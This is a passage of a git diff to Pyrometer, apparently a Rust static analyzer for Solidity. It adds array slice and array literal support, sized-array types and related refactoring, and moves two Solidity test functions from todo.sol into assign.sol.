as_elem.overlaps_dual(start_idx, excl_end, true, analyzer, arena) + { + if let Some(val) = c.range_get_index(&as_rc) { + let new_k = Elem::from(Concrete::from(curr)) - start_idx.clone(); + kvs.insert(new_k, val.clone()); + } + } + curr += U256::from(1); + } + } + } + Elem::Expr(_) => { + if let Ok(min) = arr.minimize(analyzer, arena) { + match_key(&min, start_idx, excl_end, analyzer, arena, kvs); + } + + if let Ok(max) = arr.maximize(analyzer, arena) { + match_key(&max, start_idx, excl_end, analyzer, arena, kvs); + } + } + _ => {} + }; + } + + match_key(arr_min, start, &excl_end, analyzer, arena, &mut kvs); + match_key(arr_max, start, &excl_end, analyzer, arena, &mut kvs); + + let len = Elem::Expr(RangeExpr::new( + end.clone(), + RangeOp::Sub(false), + start.clone(), + )); + Elem::ConcreteDyn(RangeDyn::new(len, kvs, Loc::Implicit)) +} + /// Executes the `get_length` operation given the minimum and maximum of an element. It returns either the _minimum_ bound or _maximum_ bound /// of the operation. pub fn exec_get_length( diff --git a/crates/graph/src/range/exec/mem_ops/mod.rs b/crates/graph/src/range/exec/mem_ops/mod.rs index 2b8c69f7..d90d2a12 100644 --- a/crates/graph/src/range/exec/mem_ops/mod.rs +++ b/crates/graph/src/range/exec/mem_ops/mod.rs @@ -4,6 +4,6 @@ mod mem_set; mod memcopy; pub use concat::exec_concat; -pub use mem_get::{exec_get_index, exec_get_length}; +pub use mem_get::{exec_get_index, exec_get_length, exec_slice}; pub use mem_set::{exec_set_indices, exec_set_length}; pub use memcopy::exec_memcopy; diff --git a/crates/graph/src/range/exec/mod.rs b/crates/graph/src/range/exec/mod.rs index 1c0d57d4..41b76549 100644 --- a/crates/graph/src/range/exec/mod.rs +++ b/crates/graph/src/range/exec/mod.rs @@ -24,4 +24,5 @@ pub use truthy_ops::{exec_and, exec_eq_neq, exec_gt, exec_gte, exec_lt, exec_lte mod mem_ops; pub use mem_ops::{ exec_concat, exec_get_index, exec_get_length, exec_memcopy, exec_set_indices, exec_set_length, + exec_slice, }; diff --git a/crates/graph/src/var_type.rs b/crates/graph/src/var_type.rs index 862dce9d..37487e97 100644 --- a/crates/graph/src/var_type.rs +++ b/crates/graph/src/var_type.rs @@ -795,18 +795,13 @@ impl VarType { } (VarType::BuiltIn(s, _), VarType::BuiltIn(o, _)) => { match (s.underlying(analyzer)?, o.underlying(analyzer)?) { - (Builtin::Array(l), Builtin::Array(r)) => Ok(l - .unresolved_as_resolved(analyzer)? - == r.unresolved_as_resolved(analyzer)?), - (Builtin::SizedArray(l_size, l), Builtin::SizedArray(r_size, r)) => Ok(l - .unresolved_as_resolved(analyzer)? - == r.unresolved_as_resolved(analyzer)? - && l_size == r_size), - (Builtin::Mapping(lk, lv), Builtin::Mapping(rk, rv)) => Ok(lk - .unresolved_as_resolved(analyzer)? - == rk.unresolved_as_resolved(analyzer)? - && lv.unresolved_as_resolved(analyzer)? - == rv.unresolved_as_resolved(analyzer)?), + (Builtin::Array(l), Builtin::Array(r)) => l.ty_eq(r, analyzer), + (Builtin::SizedArray(l_size, l), Builtin::SizedArray(r_size, r)) => { + Ok(l.ty_eq(r, analyzer)? && l_size == r_size) + } + (Builtin::Mapping(lk, lv), Builtin::Mapping(rk, rv)) => { + Ok(lk.ty_eq(rk, analyzer)? && lv.ty_eq(rv, analyzer)?) + } (l, r) => Ok(l == r), } } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 82665d06..6aeda249 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -1049,8 +1049,8 @@ impl Analyzer { node.into() }; - inherits.iter().for_each(|contract_node| { - self.add_edge(*contract_node, con_node, Edge::InheritedContract); + inherits.into_iter().flatten().for_each(|contract_node| { + self.add_edge(contract_node, con_node, Edge::InheritedContract); }); let mut usings = vec![]; diff --git a/crates/pyrometer/tests/test_data/assign.sol b/crates/pyrometer/tests/test_data/assign.sol index ebfd5f84..665ca9b0 100644 --- a/crates/pyrometer/tests/test_data/assign.sol +++ b/crates/pyrometer/tests/test_data/assign.sol @@ -10,4 +10,31 @@ contract Assign { (x, y) = (z, z); } + + uint x; + + function array_literals(uint z) public { + uint[][] memory ax = new uint[][](z); + ax[0] = new uint[](3); + ax[0][2] = 2; + + uint[][] memory bx = ax; + uint8[0x2][2] memory a = [[1, 2], [1, 2]]; + a[1]; + uint[2] memory b = [uint(3), x++]; + uint[2][2] memory c = [[uint(3), x++], [uint(2), uint(3)]]; + a; + b; + } + + function array_slices( + uint[] calldata a + ) public pure returns (uint[] memory) { + require(a.length >= 4, "Array must have at least 4 elements"); + a[2] = 14; + uint[] memory b = a[2:4]; + uint[] memory c = a[1:]; + uint[] memory d = a[:2]; + uint[] memory e = a[2:4][0:1]; + } } diff --git a/crates/pyrometer/tests/test_data/todo.sol b/crates/pyrometer/tests/test_data/todo.sol index 4511a35d..73d33e99 100644 --- a/crates/pyrometer/tests/test_data/todo.sol +++ b/crates/pyrometer/tests/test_data/todo.sol @@ -10,25 +10,6 @@ contract Todo { d; } - // will live in assign.sol when added - function array_literals() public pure { - uint[2] memory a = [uint(1), uint(2)]; - uint[2] memory b = [uint(3), uint(4)]; - a; - b; - } - - // will live in assign.sol when added - function array_slices( - uint[] calldata a - ) public pure returns (uint[] memory) { - require(a.length >= 4, "Array must have at least 4 elements"); - uint[] memory b = a[2:4]; - // if a is [1,2,3,4] - // then b is [3, 4] - return b; - } - // this will live in loops.sol when fixed function perform_break_literal() public pure { for (uint256 i = 0; i < 10; i++) { diff --git a/crates/shared/src/error.rs b/crates/shared/src/error.rs index 84874b36..43a8c882 100644 --- a/crates/shared/src/error.rs +++ b/crates/shared/src/error.rs @@ -153,6 +153,7 @@ pub enum ExprErr { impl ExprErr { /// Convert from a graph error pub fn from_graph_err(loc: Loc, graph_err: GraphError) -> Self { + // panic!("here"); Self::GraphError(loc, graph_err) } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index bc753c46..5fd487df 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -55,9 +55,10 @@ pub enum FlatExpr { PostIncrement(Loc), PostDecrement(Loc), New(Loc), - ArrayTy(Loc), + ArrayTy(Loc, bool), ArrayIndexAccess(Loc), - ArraySlice(Loc), + ArraySlice(Loc, bool, bool), + ArrayLiteral(Loc, usize), MemberAccess(Loc, &'static str), FunctionCall(Loc, usize), FunctionCallBlock(Loc), @@ -125,7 +126,6 @@ pub enum FlatExpr { HexLiteral(Loc, &'static str), AddressLiteral(Loc, &'static str), Variable(Loc, &'static str), - ArrayLiteral(Loc), YulExpr(FlatYulExpr), } @@ -454,9 +454,9 @@ impl TryFrom<&Expression> for FlatExpr { PostIncrement(loc, ..) => FlatExpr::PostIncrement(*loc), PostDecrement(loc, ..) => FlatExpr::PostDecrement(*loc), New(loc, ..) => FlatExpr::New(*loc), - ArraySubscript(loc, _, None) => FlatExpr::ArrayTy(*loc), + ArraySubscript(loc, _, None) => FlatExpr::ArrayTy(*loc, false), ArraySubscript(loc, _, Some(_)) => FlatExpr::ArrayIndexAccess(*loc), - ArraySlice(loc, ..) => FlatExpr::ArraySlice(*loc), + ArraySlice(loc, _, s, e) => FlatExpr::ArraySlice(*loc, s.is_some(), e.is_some()), MemberAccess(loc, _, name) => { FlatExpr::MemberAccess(*loc, string_to_static(name.name.clone())) } @@ -568,7 +568,7 @@ impl TryFrom<&Expression> for FlatExpr { ) } } - ArrayLiteral(loc, ..) => FlatExpr::ArrayLiteral(*loc), + ArrayLiteral(loc, args) => FlatExpr::ArrayLiteral(*loc, args.len()), Variable(var) => { FlatExpr::Variable(var.loc, Box::leak(var.name.clone().into_boxed_str())) } diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 11769e60..21282ec7 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -2,24 +2,102 @@ use crate::{require::Require, variable::Variable, ListAccess}; use graph::{ elem::{Elem, RangeDyn, RangeOp}, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, TmpConstruction}, + nodes::{ + BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, + TmpConstruction, + }, AnalyzerBackend, ContextEdge, Edge, Node, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; +use ethers_core::types::U256; use solang_parser::pt::{Expression, Loc}; impl Array for T where T: AnalyzerBackend + Sized {} /// Handles arrays pub trait Array: AnalyzerBackend + Sized { + fn slice_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + arr: ExprRet, + start: Option, + end: Option, + loc: Loc, + ) -> Result<(), ExprErr> { + let arr = ContextVarNode::from(arr.expect_single().into_expr_err(loc)?); + let start = if let Some(start) = start { + Elem::from(ContextVarNode::from( + start.expect_single().into_expr_err(loc)?, + )) + } else { + Elem::from(Concrete::from(0)) + }; + + let end = if let Some(end) = end { + Elem::from(ContextVarNode::from( + end.expect_single().into_expr_err(loc)?, + )) + } else { + Elem::from(arr).get_length() + }; + + let as_bn = self.builtin_or_add(Builtin::Uint(256)).index(); + let as_var = + ContextVar::new_from_builtin(loc, BuiltInNode(as_bn), self).into_expr_err(loc)?; + let slice_var = ContextVarNode::from(self.add_node(as_var)); + slice_var + .set_range_min(self, arena, start) + .into_expr_err(loc)?; + slice_var + .set_range_max(self, arena, end) + .into_expr_err(loc)?; + + let new_range = Elem::from(arr).slice(Elem::from(slice_var)); + + let mut new_arr = ContextVar { + loc: Some(loc), + name: format!("tmp_arr{}", ctx.new_tmp(self).into_expr_err(loc)?), + display_name: "tmp_arr".to_string(), + storage: None, + is_tmp: true, + is_symbolic: false, + is_return: false, + tmp_of: None, + dep_on: None, + ty: VarType::try_from_idx(self, arr.0.into()).unwrap(), + }; + new_arr.set_range(From::from(new_range)); + + let new_arr = ContextVarNode::from(self.add_node(new_arr)); + ctx.add_var(new_arr, self).into_expr_err(loc)?; + self.add_edge(new_arr, ctx, Edge::Context(ContextEdge::Variable)); + + let _ = self.create_length(arena, ctx, new_arr, true, loc)?; + + ctx.push_expr(ExprRet::Single(new_arr.0.into()), self) + .into_expr_err(loc) + } + /// Gets the array type - fn match_ty(&mut self, ctx: ContextNode, loc: Loc, ret: ExprRet) -> Result<(), ExprErr> { + fn match_ty( + &mut self, + ctx: ContextNode, + loc: Loc, + ret: ExprRet, + sized: Option, + ) -> Result<(), ExprErr> { match ret { ExprRet::Single(inner_ty) | ExprRet::SingleLiteral(inner_ty) => { // ie: uint[] // ie: uint[][] if let Some(var_type) = VarType::try_from_idx(self, inner_ty) { - let dyn_b = Builtin::Array(var_type); + let dyn_b = if let Some(sized) = sized { + Builtin::SizedArray(sized, var_type) + } else { + Builtin::Array(var_type) + }; + if let Some(idx) = self.builtins().get(&dyn_b) { ctx.push_expr(ExprRet::Single(*idx), self) .into_expr_err(loc)?; @@ -38,7 +116,7 @@ pub trait Array: AnalyzerBackend + Sized { // ie: unsure of syntax needed to get here. (not possible?) inner .into_iter() - .map(|i| self.match_ty(ctx, loc, i)) + .map(|i| self.match_ty(ctx, loc, i, sized)) .collect::, ExprErr>>()?; Ok(()) } @@ -278,30 +356,6 @@ pub trait Array: AnalyzerBackend + Sized { Ok(()) } - fn update_array_if_length_var( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - maybe_length: ContextVarNode, - ) -> Result<(), ExprErr> { - if let Some(backing_arr) = maybe_length.len_var_to_array(self).into_expr_err(loc)? { - let next_arr = self.advance_var_in_ctx( - backing_arr.latest_version_or_inherited_in_ctx(ctx, self), - loc, - ctx, - )?; - let new_len = Elem::from(backing_arr).set_length(maybe_length.into()); - next_arr - .set_range_min(self, arena, new_len.clone()) - .into_expr_err(loc)?; - next_arr - .set_range_max(self, arena, new_len) - .into_expr_err(loc)?; - } - Ok(()) - } - fn set_var_as_length( &mut self, arena: &mut RangeArena>, diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 98ba8dd8..aa8bcf05 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -1,7 +1,7 @@ use crate::variable::Variable; use graph::{ - elem::{Elem, RangeElem}, + elem::{Elem, RangeDyn, RangeElem}, nodes::{Concrete, ContextNode, ContextVarNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, }; @@ -101,44 +101,7 @@ pub trait Assign: AnalyzerBackend + Sized if lhs_cvar.is_struct(self).into_expr_err(loc)? && rhs_cvar.is_struct(self).into_expr_err(loc)? { - let lhs_fields = lhs_cvar.struct_to_fields(self).into_expr_err(loc)?; - let rhs_fields = rhs_cvar.struct_to_fields(self).into_expr_err(loc)?; - lhs_fields.iter().try_for_each(|lhs_field| { - let lhs_full_name = lhs_field.name(self).into_expr_err(loc)?; - let split = lhs_full_name.split('.').collect::>(); - let Some(lhs_field_name) = split.last() else { - return Err(ExprErr::ParseError( - lhs_field.loc(self).unwrap(), - format!("Incorrectly named field: {lhs_full_name} - no '.' delimiter"), - )); - }; - - let mut found = false; - for rhs_field in rhs_fields.iter() { - let rhs_full_name = rhs_field.name(self).into_expr_err(loc)?; - let split = rhs_full_name.split('.').collect::>(); - let Some(rhs_field_name) = split.last() else { - return Err(ExprErr::ParseError( - rhs_field.loc(self).unwrap(), - format!("Incorrectly named field: {rhs_full_name} - no '.' delimiter"), - )); - }; - if lhs_field_name == rhs_field_name { - found = true; - let _ = self.assign(arena, loc, *lhs_field, *rhs_field, ctx)?; - break; - } - } - if found { - Ok(()) - } else { - Err(ExprErr::ParseError( - loc, - format!("Struct types mismatched - could not find field: {lhs_field_name}"), - )) - } - })?; - return Ok(ExprRet::Single(lhs_cvar.0.into())); + return self.assign_struct_to_struct(arena, loc, lhs_cvar, rhs_cvar, ctx); } rhs_cvar @@ -185,6 +148,8 @@ pub trait Assign: AnalyzerBackend + Sized self.add_edge(new_lhs, rhs_cvar, Edge::Context(ContextEdge::StorageWrite)); } + self.add_edge(new_lhs, rhs_cvar, Edge::Context(ContextEdge::Assign)); + if rhs_cvar.underlying(self).into_expr_err(loc)?.is_return { if let Some(rhs_ctx) = rhs_cvar.maybe_ctx(self) { self.add_edge( @@ -208,42 +173,11 @@ pub trait Assign: AnalyzerBackend + Sized } } - if !lhs_cvar.ty_eq(&rhs_cvar, self).into_expr_err(loc)? { - // lhs type doesnt match rhs type (not possible? have never reached this) - let cast_to_min = match lhs_cvar.range_min(self).into_expr_err(loc)? { - Some(v) => v, - None => { - return Err(ExprErr::BadRange( - loc, - format!( - "No range during cast? {:?}, {:?}", - lhs_cvar.underlying(self).unwrap(), - rhs_cvar.underlying(self).unwrap(), - ), - )) - } - }; + // we use try_set_* because some types like functions dont have a range. + let _ = new_lhs.try_set_range_min(self, arena, new_lower_bound); + let _ = new_lhs.try_set_range_max(self, arena, new_upper_bound); + self.maybe_assign_to_parent_array(arena, loc, lhs_cvar, rhs_cvar, ctx)?; - let cast_to_max = match lhs_cvar.range_max(self).into_expr_err(loc)? { - Some(v) => v, - None => { - return Err(ExprErr::BadRange( - loc, - format!( - "No range during cast? {:?}, {:?}", - lhs_cvar.underlying(self).unwrap(), - rhs_cvar.underlying(self).unwrap(), - ), - )) - } - }; - - let _ = new_lhs.try_set_range_min(self, arena, new_lower_bound.cast(cast_to_min)); - let _ = new_lhs.try_set_range_max(self, arena, new_upper_bound.cast(cast_to_max)); - } else { - let _ = new_lhs.try_set_range_min(self, arena, new_lower_bound); - let _ = new_lhs.try_set_range_max(self, arena, new_upper_bound); - } if let Some(rhs_range) = rhs_cvar.ref_range(self).into_expr_err(loc)? { let res = new_lhs .try_set_range_exclusions(self, rhs_range.exclusions.clone()) @@ -260,4 +194,95 @@ pub trait Assign: AnalyzerBackend + Sized )?; Ok(ExprRet::Single(new_lhs.into())) } + + fn maybe_assign_to_parent_array( + &mut self, + arena: &mut RangeArena>, + loc: Loc, + maybe_arr_attr: ContextVarNode, + rhs: ContextVarNode, + ctx: ContextNode, + ) -> Result<(), ExprErr> { + if let Some(index) = maybe_arr_attr.index_access_to_index(self) { + let array = maybe_arr_attr.index_access_to_array(self).unwrap(); + let latest_arr = array.latest_version_or_inherited_in_ctx(ctx, self); + let new_arr = self.advance_var_in_ctx_forcible(latest_arr, loc, ctx, true)?; + let new_elem = Elem::from(latest_arr).set_indices(RangeDyn::new_for_indices( + vec![(Elem::from(index), Elem::from(rhs))], + loc, + )); + new_arr + .set_range_min(self, arena, new_elem.clone()) + .into_expr_err(loc)?; + new_arr + .set_range_max(self, arena, new_elem) + .into_expr_err(loc)?; + + self.maybe_assign_to_parent_array(arena, loc, latest_arr, new_arr, ctx)?; + } + + if let Some(array) = maybe_arr_attr.len_var_to_array(self) { + let latest_arr = array.latest_version_or_inherited_in_ctx(ctx, self); + let new_arr = self.advance_var_in_ctx_forcible(latest_arr, loc, ctx, true)?; + let new_elem = Elem::from(latest_arr).set_length(Elem::from(rhs)); + new_arr + .set_range_min(self, arena, new_elem.clone()) + .into_expr_err(loc)?; + new_arr + .set_range_max(self, arena, new_elem) + .into_expr_err(loc)?; + + self.maybe_assign_to_parent_array(arena, loc, latest_arr, new_arr, ctx)?; + } + + Ok(()) + } + + fn assign_struct_to_struct( + &mut self, + arena: &mut RangeArena>, + loc: Loc, + lhs_cvar: ContextVarNode, + rhs_cvar: ContextVarNode, + ctx: ContextNode, + ) -> Result { + let lhs_fields = lhs_cvar.struct_to_fields(self).into_expr_err(loc)?; + let rhs_fields = rhs_cvar.struct_to_fields(self).into_expr_err(loc)?; + lhs_fields.iter().try_for_each(|lhs_field| { + let lhs_full_name = lhs_field.name(self).into_expr_err(loc)?; + let split = lhs_full_name.split('.').collect::>(); + let Some(lhs_field_name) = split.last() else { + return Err(ExprErr::ParseError( + lhs_field.loc(self).unwrap(), + format!("Incorrectly named field: {lhs_full_name} - no '.' delimiter"), + )); + }; + + let mut found = false; + for rhs_field in rhs_fields.iter() { + let rhs_full_name = rhs_field.name(self).into_expr_err(loc)?; + let split = rhs_full_name.split('.').collect::>(); + let Some(rhs_field_name) = split.last() else { + return Err(ExprErr::ParseError( + rhs_field.loc(self).unwrap(), + format!("Incorrectly named field: {rhs_full_name} - no '.' delimiter"), + )); + }; + if lhs_field_name == rhs_field_name { + found = true; + let _ = self.assign(arena, loc, *lhs_field, *rhs_field, ctx)?; + break; + } + } + if found { + Ok(()) + } else { + Err(ExprErr::ParseError( + loc, + format!("Struct types mismatched - could not find field: {lhs_field_name}"), + )) + } + })?; + Ok(ExprRet::Single(lhs_cvar.0.into())) + } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index f16f645b..faaa8430 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1,3 +1,4 @@ +use graph::elem::RangeDyn; use std::collections::BTreeMap; use crate::{ @@ -12,14 +13,16 @@ use crate::{ ExprTyParser, }; use graph::{ - elem::{Elem, RangeExpr, RangeOp}, + elem::{Elem, RangeConcrete, RangeExpr, RangeOp}, nodes::{ - Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, - ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, TmpConstruction, YulFunction, + BuiltInNode, Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, + ContextVarNode, ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, + TmpConstruction, YulFunction, }, AnalyzerBackend, ContextEdge, Edge, Node, SolcRange, TypeNode, VarType, }; +use ethers_core::types::U256; use shared::{ post_to_site, string_to_static, ElseOrDefault, ExprErr, ExprFlag, FlatExpr, FlatYulExpr, GraphError, IfElseChain, IntoExprErr, RangeArena, USE_DEBUG_SITE, @@ -773,12 +776,25 @@ pub trait Flatten: // array ArraySubscript(loc, ty_expr, None) => { self.traverse_expression(ty_expr, unchecked); - self.push_expr(FlatExpr::ArrayTy(*loc)); + self.push_expr(FlatExpr::ArrayTy(*loc, false)); } ArraySubscript(loc, ty_expr, Some(index_expr)) => { - self.traverse_expression(index_expr, unchecked); + let start_len = self.expr_stack().len(); self.traverse_expression(ty_expr, unchecked); - self.push_expr(FlatExpr::ArrayIndexAccess(*loc)); + let ty_exprs: Vec<_> = self.expr_stack_mut().drain(start_len..).collect(); + match ty_exprs.last().unwrap() { + FlatExpr::Type(..) | FlatExpr::ArrayTy(..) => { + // sized array defintion + self.traverse_expression(index_expr, unchecked); + self.expr_stack_mut().extend(ty_exprs); + self.push_expr(FlatExpr::ArrayTy(*loc, true)); + } + _ => { + self.traverse_expression(index_expr, unchecked); + self.expr_stack_mut().extend(ty_exprs); + self.push_expr(FlatExpr::ArrayIndexAccess(*loc)); + } + } } ConditionalOperator(loc, if_expr, true_expr, false_expr) => { // convert into statement if @@ -793,19 +809,30 @@ pub trait Flatten: ); self.traverse_statement(&as_stmt, unchecked); } - ArraySlice(loc, _lhs_expr, _maybe_middle_expr, _maybe_rhs) => { - self.push_expr(FlatExpr::Todo( - *loc, - "array slice expressions are currently unsupported", - )); + ArraySlice(loc, lhs_expr, maybe_range_start, maybe_range_exclusive_end) => { + let mut has_start = false; + let mut has_end = false; + if let Some(range_exclusive_end) = maybe_range_exclusive_end { + self.traverse_expression(range_exclusive_end, unchecked); + has_end = true; + } + + if let Some(range_start) = maybe_range_start { + self.traverse_expression(range_start, unchecked); + has_start = true; + } + + self.traverse_expression(lhs_expr, unchecked); + + self.push_expr(FlatExpr::ArraySlice(*loc, has_start, has_end)); } - ArrayLiteral(loc, _) => { - self.push_expr(FlatExpr::Todo( - *loc, - "array literals expressions are currently unsupported", - )); + ArrayLiteral(loc, val_exprs) => { + val_exprs + .iter() + .rev() + .for_each(|val| self.traverse_expression(val, unchecked)); + self.push_expr(FlatExpr::ArrayLiteral(*loc, val_exprs.len())); } - // Function calls FunctionCallBlock(loc, func_expr, call_block) => { self.traverse_statement(call_block, unchecked); @@ -1096,10 +1123,10 @@ pub trait Flatten: | PreDecrement(loc, ..) => self.interp_xxcrement(arena, ctx, next, loc), // Array - ArrayTy(..) => self.interp_array_ty(ctx, next), + ArrayTy(..) => self.interp_array_ty(arena, ctx, next), ArrayIndexAccess(_) => self.interp_array_idx(arena, ctx, next), - ArraySlice(_) => todo!(), - ArrayLiteral(_) => todo!(), + ArraySlice(..) => self.interp_array_slice(arena, ctx, next), + ArrayLiteral(..) => self.interp_array_lit(ctx, next), // Binary operators Power(loc, ..) @@ -1994,13 +2021,61 @@ pub trait Flatten: self.match_assign_sides(arena, ctx, loc, &lhs, &rhs) } - fn interp_array_ty(&mut self, ctx: ContextNode, arr_ty: FlatExpr) -> Result<(), ExprErr> { - let FlatExpr::ArrayTy(loc) = arr_ty else { + fn interp_array_ty( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + arr_ty: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::ArrayTy(loc, sized) = arr_ty else { unreachable!() }; - let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; - let [arr_ty] = into_sized(res); - self.match_ty(ctx, loc, arr_ty) + if sized { + let mut res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let arr_ty = res.swap_remove(0); + let size_var = + ContextVarNode::from(res.swap_remove(0).expect_single().into_expr_err(loc)?); + assert!(size_var.is_const(self, arena).into_expr_err(loc)?); + let size_elem = size_var + .evaled_range_max(self, arena) + .into_expr_err(loc)? + .unwrap(); + let size = size_elem.maybe_concrete().unwrap().val.uint_val().unwrap(); + self.match_ty(ctx, loc, arr_ty, Some(size)) + } else { + let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let [arr_ty] = into_sized(res); + self.match_ty(ctx, loc, arr_ty, None) + } + } + + fn interp_array_slice( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + arr_slice: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::ArraySlice(loc, has_start, has_end) = arr_slice else { + unreachable!() + }; + + let to_pop = 1 + has_start as usize + has_end as usize; + let mut res = ctx + .pop_n_latest_exprs(to_pop, loc, self) + .into_expr_err(loc)?; + + let arr = res.swap_remove(0); + let end = if has_end { + Some(res.swap_remove(0)) + } else { + None + }; + let start = if has_start { + Some(res.swap_remove(0)) + } else { + None + }; + self.slice_inner(arena, ctx, arr, start, end, loc) } fn interp_array_idx( @@ -2018,6 +2093,49 @@ pub trait Flatten: self.index_into_array_inner(arena, ctx, arr_ty.flatten(), arr_idx.flatten(), loc) } + fn interp_array_lit(&mut self, ctx: ContextNode, arr_lit: FlatExpr) -> Result<(), ExprErr> { + let FlatExpr::ArrayLiteral(loc, n) = arr_lit else { + unreachable!() + }; + + let res = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + let ty = VarType::try_from_idx(self, res[0].expect_single().into_expr_err(loc)?).unwrap(); + + let ty = Builtin::SizedArray(U256::from(n), ty); + let bn_node = BuiltInNode::from(self.builtin_or_add(ty)); + + let var = ContextVar::new_from_builtin(loc, bn_node, self).into_expr_err(loc)?; + let arr = ContextVarNode::from(self.add_node(var)); + + let kv_pairs = res + .iter() + .enumerate() + .map(|(i, input)| { + let i_var = ContextVarNode::from(input.expect_single().unwrap()); + let idx = self.add_concrete_var(ctx, Concrete::Uint(256, U256::from(i)), loc)?; + self.add_edge(idx, ctx, Edge::Context(ContextEdge::Variable)); + Ok((Elem::from(idx), Elem::from(i_var))) + }) + .collect::, _>>()?; + + let len = RangeConcrete { + val: Concrete::from(U256::from(n)), + loc, + }; + let range_elem: Elem = + Elem::ConcreteDyn(RangeDyn::new(Elem::from(len), kv_pairs, loc)); + + arr.ty_mut(self) + .into_expr_err(loc)? + .set_range(range_elem.into()) + .into_expr_err(loc)?; + ctx.push_expr( + ExprRet::SingleLiteral(arr.latest_version(self).into()), + self, + ) + .into_expr_err(loc) + } + fn interp_named_func_call( &mut self, arena: &mut RangeArena>, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 0f115bd6..7726eb28 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -1,9 +1,10 @@ use crate::{assign::Assign, func_call::helper::CallerHelper}; +use graph::nodes::Builtin; use graph::{ elem::*, nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet, StructNode}, - AnalyzerBackend, ContextEdge, Edge, Node, Range, VarType, + AnalyzerBackend, ContextEdge, Edge, Node, VarType, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -34,7 +35,7 @@ pub trait ConstructorCaller: let new_arr = ContextVar { loc: Some(loc), name: format!("tmp_arr{}", ctx.new_tmp(self).into_expr_err(loc)?), - display_name: "arr".to_string(), + display_name: "tmp_arr".to_string(), storage: None, is_tmp: true, is_symbolic: false, @@ -46,7 +47,8 @@ pub trait ConstructorCaller: let arr = ContextVarNode::from(self.add_node(new_arr)); - let len_var = ContextVar { + let u256 = self.builtin_or_add(Builtin::Uint(256)); + let new_len_var = ContextVar { loc: Some(loc), name: arr.name(self).into_expr_err(loc)? + ".length", display_name: arr.display_name(self).unwrap() + ".length", @@ -56,41 +58,21 @@ pub trait ConstructorCaller: dep_on: None, is_symbolic: true, is_return: false, - ty: ContextVarNode::from(len_cvar) - .underlying(self) - .into_expr_err(loc)? - .ty - .clone(), + ty: VarType::try_from_idx(self, u256).unwrap(), }; - let len_cvar = self.add_node(len_var); + let new_len_cvar = ContextVarNode::from(self.add_node(new_len_var)); self.add_edge(arr, ctx, Edge::Context(ContextEdge::Variable)); ctx.add_var(arr, self).into_expr_err(loc)?; - self.add_edge(len_cvar, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(len_cvar.into(), self).into_expr_err(loc)?; + self.add_edge(new_len_cvar, ctx, Edge::Context(ContextEdge::Variable)); + ctx.add_var(new_len_cvar, self).into_expr_err(loc)?; self.add_edge( - len_cvar, + new_len_cvar, arr, Edge::Context(ContextEdge::AttrAccess("length")), ); - // update the length - if let Some(r) = arr.ref_range(self).into_expr_err(loc)? { - let min = r.evaled_range_min(self, arena).into_expr_err(loc)?; - let max = r.evaled_range_max(self, arena).into_expr_err(loc)?; - - if let Some(mut rd) = min.maybe_range_dyn() { - rd.len = Box::new(Elem::from(len_cvar)); - arr.set_range_min(self, arena, Elem::ConcreteDyn(rd)) - .into_expr_err(loc)?; - } - - if let Some(mut rd) = max.maybe_range_dyn() { - rd.len = Box::new(Elem::from(len_cvar)); - arr.set_range_min(self, arena, Elem::ConcreteDyn(rd)) - .into_expr_err(loc)?; - } - } + self.assign(arena, loc, new_len_cvar, len_cvar.into(), ctx)?; ctx.push_expr(ExprRet::Single(arr.into()), self) .into_expr_err(loc) diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index c94ef3c3..579f6775 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -35,7 +35,8 @@ pub trait Looper: vars.iter().try_for_each(|(name, var)| { // widen to max range if let Some(inheritor_var) = parent_ctx.var_by_name(self, name) { - let inheritor_var = inheritor_var.latest_version(self); + let inheritor_var = + inheritor_var.latest_version_or_inherited_in_ctx(loop_ctx, self); if let Some(r) = var .underlying(self) .unwrap() diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 560b2415..d7ae27af 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -602,6 +602,27 